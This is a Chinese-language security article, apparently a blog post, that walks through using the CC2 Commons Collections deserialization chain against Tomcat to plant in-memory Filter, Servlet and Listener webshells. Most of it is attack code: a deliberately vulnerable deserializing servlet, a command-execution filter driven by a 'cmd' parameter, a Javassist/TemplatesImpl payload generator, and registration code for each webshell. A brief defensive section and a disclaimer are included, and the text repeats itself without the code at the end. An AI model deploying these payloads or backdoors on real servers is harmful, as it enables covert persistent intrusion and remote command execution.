CC2反序列化武器化:一站式实现三大内存马持久化
字数 1990 2025-11-18 12:04:48

CC2反序列化武器化:一站式实现三大内存马持久化技术文档

1. 引言

1.1 无文件攻击背景

在网络安全防御体系日趋完善的背景下,传统文件型攻击手段面临严峻挑战。杀毒软件的实时监控、文件完整性校验、静态特征检测等技术使得基于文件落地的恶意代码难以长期存活,无文件攻击技术因此兴起。

1.2 无文件攻击本质特征

  • 内存驻留性:恶意代码直接运行在进程内存空间中,不产生或极少产生磁盘文件痕迹
  • 进程寄生性:依赖合法进程作为载体,将恶意代码注入到系统信任的进程中执行
  • 环境融合性:利用系统原生功能或应用程序的正常组件作为执行环境

1.3 持久化机制技术原理

  • 上下文绑定:将恶意组件注册到应用程序的运行时上下文中
  • 请求链路嵌入:将恶意代码植入HTTP请求处理的关键路径上
  • 依赖关系建立:通过建立与核心组件的依赖关系,使内存马生存周期与应用程序绑定

1.4 反序列化漏洞的优势

  • 信任边界穿透:反序列化操作通常发生在应用程序信任边界内部
  • 代码执行桥梁:通过反序列化链将数据转换成代码执行
  • 业务隐蔽性:反序列化流量被视为正常业务数据,难以被传统安全设备识别

2. 漏洞利用前提条件

2.1 基本要求

  1. 可用的反序列化漏洞:找到接受序列化数据的入口点(HTTP参数、RMI等)
  2. 合适的利用链:目标环境需存在包含漏洞的第三方库(Commons Collections、fastjson等)
  3. 执行任意代码的能力:利用链最终需能执行Java代码

2.2 内存马注入关键

  1. 获取Web上下文:获取当前Web容器的上下文(如StandardContext)
  2. 动态注册恶意组件:向容器动态注册Filter、Controller等组件
  3. 内存马兼容性:内存马需与目标中间件及JDK版本兼容

2.3 环境与工具

  • 中间件与框架:Tomcat、Spring、WebLogic等
  • 依赖库:Javassist用于动态生成字节码

3. 环境搭建

3.1 服务端环境配置

<!-- 服务端环境 -->
web服务端:tomcat 9.0.107
JDK版本:1.8.0_202(多数Java 8版本可用)
第三方库:Commons Collections 4.0

3.2 Maven项目配置

<project xmlns="http://maven.apache.org/POM/4.0.0">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.example</groupId>
    <artifactId>JNDI_Memory</artifactId>
    <packaging>war</packaging>
    <version>1.0-SNAPSHOT</version>
    
    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.20.0-GA</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.1.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.107</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>
</project>

3.3 Web.xml配置

<web-app>
    <servlet>
        <servlet-name>upServlet</servlet-name>
        <servlet-class>com.ser.UpServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>upServlet</servlet-name>
        <url-pattern>/upload</url-pattern>
    </servlet-mapping>
</web-app>

4. 漏洞页面实现

4.1 上传页面Servlet(存在反序列化漏洞)

@MultipartConfig
public class UpServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) 
            throws ServletException, IOException {
        Part filePart = req.getPart("file");
        String fileName = filePart.getSubmittedFileName();
        
        if (fileName == null || fileName.isEmpty()) {
            resp.getWriter().write("请选择文件");
            return;
        }
        
        InputStream fileInputStream = filePart.getInputStream();
        byte[] fileBytes = readFileBytes(fileInputStream);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(fileBytes));
        resp.getWriter().println("succeed--");
        
        try {
            ois.readObject(); // 反序列化漏洞点
            ois.close();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }
    
    private byte[] readFileBytes(InputStream inputStream) throws IOException {
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
        int read;
        byte[] data = new byte[1024];
        while ((read = inputStream.read(data, 0, data.length)) != -1) {
            buffer.write(data, 0, read);
        }
        buffer.flush();
        return buffer.toByteArray();
    }
}

4.2 测试页面Servlet

@WebServlet("/post")
public class PostTest extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) 
            throws ServletException, IOException {
        String base64 = req.getParameter("base64");
        byte[] decode = Base64.getDecoder().decode(base64);
        ByteArrayInputStream bis = new ByteArrayInputStream(decode);
        ObjectInputStream ois = new ObjectInputStream(bis);
        
        try {
            ois.readObject(); // 反序列化漏洞点
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } finally {
            ois.close();
        }
    }
}

5. CC2利用链原理分析

5.1 CC2链核心组件

  • PriorityQueue:触发比较器执行的队列类
  • TransformingComparator:用于转换比较的比较器
  • TemplatesImpl:加载和执行恶意字节码的核心类
  • InvokerTransformer:通过反射调用指定方法

5.2 利用链执行流程

  1. 反序列化PriorityQueue对象
  2. PriorityQueue在反序列化过程中触发排序操作
  3. 排序调用TransformingComparator的compare方法
  4. compare方法调用InvokerTransformer的transform方法
  5. transform方法通过反射调用TemplatesImpl的newTransformer方法
  6. newTransformer方法触发字节码加载和执行

6. 攻击端实现

6.1 获取Web上下文(StandardContext)

// 通过线程上下文类加载器获取StandardContext
WebappClassLoaderBase webappClassLoaderBase = 
    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = null;

try {
    Field field = webappClassLoaderBase.getClass().getDeclaredField("resources");
    field.setAccessible(true);
    Object root = field.get(webappClassLoaderBase);
    field = root.getClass().getDeclaredField("context");
    field.setAccessible(true);
    standardContext = (StandardContext) field.get(root);
} catch (Exception e) {
    e.printStackTrace();
}

6.2 恶意Filter类实现

public class EvilFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}
    
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, 
                        FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        String cmd = req.getParameter("cmd");
        
        if (cmd != null) {
            try {
                Process process = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    servletResponse.getWriter().println(line);
                }
                reader.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
    
    @Override
    public void destroy() {}
}

6.3 CC2利用链POC实现

public class CC2Exploit {
    public static byte[] generatePayload() throws Exception {
        // 使用Javassist生成恶意字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass evilFilterClass = classPool.makeClass("EvilFilter");
        evilFilterClass.setSuperclass(classPool.get("javax.servlet.http.HttpServlet"));
        
        // 创建恶意代码
        CtConstructor constructor = evilFilterClass.makeClassInitializer();
        constructor.setBody(
            "try {" +
            "   javax.servlet.ServletContext context = getServletContext();" +
            "   org.apache.catalina.core.ApplicationContext appContext = " +
            "       (org.apache.catalina.core.ApplicationContext) context;" +
            "   org.apache.catalina.core.StandardContext standardContext = " +
            "       (org.apache.catalina.core.StandardContext) appContext.getContext();" +
            "   // 动态注册Filter的代码..." +
            "} catch (Exception e) { e.printStackTrace(); }"
        );
        
        byte[] evilBytecode = evilFilterClass.toBytecode();
        
        // 构建CC2利用链
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "evil");
        setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecode});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        TransformingComparator comparator = new TransformingComparator(transformer);
        
        PriorityQueue queue = new PriorityQueue(2, comparator);
        Object[] queueArray = new Object[]{templates, templates};
        setFieldValue(queue, "queue", queueArray);
        setFieldValue(queue, "size", 2);
        
        // 序列化payload
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(queue);
        oos.close();
        
        return bos.toByteArray();
    }
    
    private static void setFieldValue(Object obj, String fieldName, Object value) 
            throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

7. 三大内存马实现

7.1 Filter内存马注入

// 动态注册Filter到StandardContext
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(EvilFilter.class.getName());
filterDef.setFilter(new EvilFilter());

standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evilFilter");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);

// 初始化Filter
Filter filter = new EvilFilter();
filter.init(null);

7.2 Servlet内存马注入

// 创建Wrapper并注册Servlet
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("evilServlet");
wrapper.setLoadOnStartup(1);
wrapper.setServletClass(EvilServlet.class.getName());
wrapper.setServlet(new EvilServlet());

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/evil", "evilServlet");

7.3 Listener内存马注入

// 注册恶意Listener
standardContext.addApplicationEventListener(new EvilListener());

8. 完整攻击流程

8.1 攻击步骤

  1. 探测漏洞:确认目标存在反序列化漏洞入口
  2. 环境检测:识别目标中间件版本和依赖库
  3. 构造payload:根据目标环境生成对应的CC2利用链
  4. 注入内存马:通过反序列化执行恶意代码,动态注册内存马
  5. 维持访问:通过内存马建立持久化后门

8.2 防御检测

  1. 输入验证:对反序列化数据源进行严格校验
  2. 类过滤:使用ObjectInputFilter限制可反序列化的类
  3. 安全配置:及时更新依赖库,移除不必要的序列化功能
  4. 监控检测:监控异常反序列化操作和动态组件注册行为

9. 技术要点总结

9.1 关键技术创新点

  • 结合CC2反序列化链与内存马注入技术
  • 实现一站式三大内存马(Filter、Servlet、Listener)持久化
  • 通过动态字节码生成技术绕过静态检测

9.2 技术难点解决方案

  • 上下文获取:通过线程类加载器机制获取StandardContext
  • 兼容性问题:适配不同Tomcat版本和JDK环境
  • 隐蔽性保障:内存驻留,无文件落地

9.3 应用场景

  • 红队渗透测试中的权限维持
  • 安全研究中的攻击技术验证
  • 企业安全防护能力评估

10. 免责声明

本文仅用于安全研究和教育目的,任何个人或组织不得将文中描述的技术用于非法用途。使用者应遵守《中华人民共和国网络安全法》等相关法律法规,因滥用技术而导致的任何后果由使用者自行承担。

CC2反序列化武器化:一站式实现三大内存马持久化技术文档 1. 引言 1.1 无文件攻击背景 在网络安全防御体系日趋完善的背景下,传统文件型攻击手段面临严峻挑战。杀毒软件的实时监控、文件完整性校验、静态特征检测等技术使得基于文件落地的恶意代码难以长期存活,无文件攻击技术因此兴起。 1.2 无文件攻击本质特征 内存驻留性 :恶意代码直接运行在进程内存空间中,不产生或极少产生磁盘文件痕迹 进程寄生性 :依赖合法进程作为载体,将恶意代码注入到系统信任的进程中执行 环境融合性 :利用系统原生功能或应用程序的正常组件作为执行环境 1.3 持久化机制技术原理 上下文绑定 :将恶意组件注册到应用程序的运行时上下文中 请求链路嵌入 :将恶意代码植入HTTP请求处理的关键路径上 依赖关系建立 :通过建立与核心组件的依赖关系,使内存马生存周期与应用程序绑定 1.4 反序列化漏洞的优势 信任边界穿透 :反序列化操作通常发生在应用程序信任边界内部 代码执行桥梁 :通过反序列化链将数据转换成代码执行 业务隐蔽性 :反序列化流量被视为正常业务数据,难以被传统安全设备识别 2. 漏洞利用前提条件 2.1 基本要求 可用的反序列化漏洞 :找到接受序列化数据的入口点(HTTP参数、RMI等) 合适的利用链 :目标环境需存在包含漏洞的第三方库(Commons Collections、fastjson等) 执行任意代码的能力 :利用链最终需能执行Java代码 2.2 内存马注入关键 获取Web上下文 :获取当前Web容器的上下文(如StandardContext) 动态注册恶意组件 :向容器动态注册Filter、Controller等组件 内存马兼容性 :内存马需与目标中间件及JDK版本兼容 2.3 环境与工具 中间件与框架 :Tomcat、Spring、WebLogic等 依赖库 :Javassist用于动态生成字节码 3. 环境搭建 3.1 服务端环境配置 3.2 Maven项目配置 3.3 Web.xml配置 4. 漏洞页面实现 4.1 上传页面Servlet(存在反序列化漏洞) 4.2 测试页面Servlet 5. CC2利用链原理分析 5.1 CC2链核心组件 PriorityQueue :触发比较器执行的队列类 TransformingComparator :用于转换比较的比较器 TemplatesImpl :加载和执行恶意字节码的核心类 InvokerTransformer :通过反射调用指定方法 5.2 利用链执行流程 反序列化PriorityQueue对象 PriorityQueue在反序列化过程中触发排序操作 排序调用TransformingComparator的compare方法 compare方法调用InvokerTransformer的transform方法 transform方法通过反射调用TemplatesImpl的newTransformer方法 newTransformer方法触发字节码加载和执行 6. 攻击端实现 6.1 获取Web上下文(StandardContext) 6.2 恶意Filter类实现 6.3 CC2利用链POC实现 7. 三大内存马实现 7.1 Filter内存马注入 7.2 Servlet内存马注入 7.3 Listener内存马注入 8. 完整攻击流程 8.1 攻击步骤 探测漏洞 :确认目标存在反序列化漏洞入口 环境检测 :识别目标中间件版本和依赖库 构造payload :根据目标环境生成对应的CC2利用链 注入内存马 :通过反序列化执行恶意代码,动态注册内存马 维持访问 :通过内存马建立持久化后门 8.2 防御检测 输入验证 :对反序列化数据源进行严格校验 类过滤 :使用ObjectInputFilter限制可反序列化的类 安全配置 :及时更新依赖库,移除不必要的序列化功能 监控检测 :监控异常反序列化操作和动态组件注册行为 9. 技术要点总结 9.1 关键技术创新点 结合CC2反序列化链与内存马注入技术 实现一站式三大内存马(Filter、Servlet、Listener)持久化 通过动态字节码生成技术绕过静态检测 9.2 技术难点解决方案 上下文获取 :通过线程类加载器机制获取StandardContext 兼容性问题 :适配不同Tomcat版本和JDK环境 隐蔽性保障 :内存驻留,无文件落地 9.3 应用场景 红队渗透测试中的权限维持 安全研究中的攻击技术验证 企业安全防护能力评估 10. 免责声明 本文仅用于安全研究和教育目的,任何个人或组织不得将文中描述的技术用于非法用途。使用者应遵守《中华人民共和国网络安全法》等相关法律法规,因滥用技术而导致的任何后果由使用者自行承担。